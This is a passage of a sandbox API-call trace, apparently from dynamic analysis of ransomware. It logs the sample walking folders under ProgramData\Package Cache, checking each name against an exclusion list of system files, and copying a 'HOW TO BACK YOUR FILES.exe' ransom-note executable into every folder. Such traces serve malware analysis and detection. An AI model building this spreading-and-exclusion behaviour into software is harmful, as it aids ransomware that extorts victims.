(lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="windows") returned -1 [0048.892] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="bootmgr") returned -1 [0048.893] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="temp") returned -1 [0048.893] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="pagefile.sys") returned -1 [0048.893] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="boot") returned -1 [0048.893] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="ids.txt") returned -1 [0048.893] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="ntuser.dat") returned -1 [0048.893] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="perflogs") returned -1 [0048.893] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="MSBuild") returned -1 [0048.893] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 49 [0048.893] lstrcpyW (in: lpString1=0x241e882, lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0048.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad10 [0048.893] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x5224f8 [0048.893] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="\\" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0048.893] lstrcatW (in: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0048.893] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.895] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="windows") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="bootmgr") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="temp") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="pagefile.sys") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="boot") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="ids.txt") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="ntuser.dat") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="perflogs") returned -1 [0048.895] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="MSBuild") returned -1 [0048.895] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38 [0048.895] lstrcpyW (in: lpString1=0x241e882, lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0048.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad28 [0048.895] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514cf8 [0048.895] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="\\" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0048.895] lstrcatW (in: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" [0048.895] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.899] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="windows") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="bootmgr") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="temp") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="pagefile.sys") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="boot") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="ids.txt") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="ntuser.dat") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="perflogs") returned -1 [0048.899] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="MSBuild") returned -1 [0048.899] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 49 [0048.899] lstrcpyW (in: lpString1=0x241e882, lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0048.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad40 [0048.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9e) returned 0x5225a0 [0048.900] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="\\" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0048.900] lstrcatW (in: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" [0048.900] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.903] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="windows") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="bootmgr") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="temp") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="pagefile.sys") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="boot") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="ids.txt") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="ntuser.dat") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="perflogs") returned -1 [0048.903] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="MSBuild") returned -1 [0048.903] lstrlenW (lpString="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 50 [0048.903] lstrcpyW (in: lpString1=0x241e882, lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0048.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad58 [0048.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x522648 [0048.903] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="\\" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0048.903] lstrcatW (in: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" [0048.903] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.905] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0048.905] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.905] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.905] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="windows") returned -1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="bootmgr") returned -1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="temp") returned -1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="pagefile.sys") returned -1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="boot") returned -1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="ids.txt") returned -1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="ntuser.dat") returned -1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="perflogs") returned -1 [0048.906] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="MSBuild") returned -1 [0048.906] lstrlenW (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38 [0048.906] lstrcpyW (in: lpString1=0x241e882, lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}" [0048.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad70 [0048.906] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514c68 [0048.906] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="\\" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0048.906] lstrcatW (in: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" [0048.906] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.909] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0048.909] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.909] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.909] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="windows") returned -1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="bootmgr") returned -1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="temp") returned -1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="pagefile.sys") returned -1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="boot") returned -1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="ids.txt") returned -1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="ntuser.dat") returned -1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="perflogs") returned -1 [0048.910] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="MSBuild") returned -1 [0048.910] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0048.910] lstrcpyW (in: lpString1=0x241e882, lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0048.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ad88 [0048.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514bd8 [0048.910] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="\\" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0048.910] lstrcatW (in: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" [0048.910] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.914] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="windows") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="bootmgr") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="temp") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="pagefile.sys") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="boot") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="ids.txt") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="ntuser.dat") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="perflogs") returned -1 [0048.914] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="MSBuild") returned -1 [0048.914] lstrlenW (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38 [0048.914] lstrcpyW (in: lpString1=0x241e882, lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0048.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ada0 [0048.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x514b48 [0048.914] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="\\" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0048.914] lstrcatW (in: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" [0048.914] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\how to back your files.exe"), bFailIfExists=1) returned 1 [0048.918] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0048.918] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.918] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.918] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2=".") returned 1 [0048.918] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="..") returned 1 [0048.918] lstrcmpiW 